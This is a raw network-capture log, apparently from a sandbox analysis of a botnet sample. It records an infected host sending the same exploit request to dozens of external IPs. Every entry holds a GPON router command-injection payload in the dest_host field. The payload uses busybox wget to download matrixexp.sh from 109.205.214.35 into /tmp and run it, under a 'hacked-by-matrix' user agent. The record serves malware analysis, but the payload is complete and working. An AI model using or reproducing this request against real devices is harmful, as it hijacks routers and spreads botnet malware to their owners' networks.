Mar 21, 2024 05:22:04.178730011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.14	41900	94.142.150.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178756952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.14	58798	37.17.95.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178819895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.14	42430	109.56.104.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178855896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.14	33622	5.69.140.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178874969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.14	42734	178.33.232.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178958893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.14	35954	37.184.248.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.178965092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.14	56978	109.160.169.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179027081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.14	36522	37.211.251.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179028034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.14	49886	178.241.33.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179054022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.14	53794	37.50.245.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179138899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.14	46926	2.153.95.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179152966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.14	56262	109.19.78.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179197073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.14	56574	2.78.88.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179244995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.14	51624	42.52.239.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179259062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.14	38902	37.103.21.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179328918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.14	49948	118.43.148.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179353952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.14	33168	210.189.51.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179372072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.14	58514	79.192.168.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179425001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.14	39332	5.236.154.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179451942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.14	35540	118.36.33.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179519892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.14	33832	37.220.98.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179521084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.14	44096	2.207.231.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179569960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.14	58652	210.253.9.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.179577112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.14	58498	118.34.57.60	443

Timestamp	Bytes transferred	Direction	Data
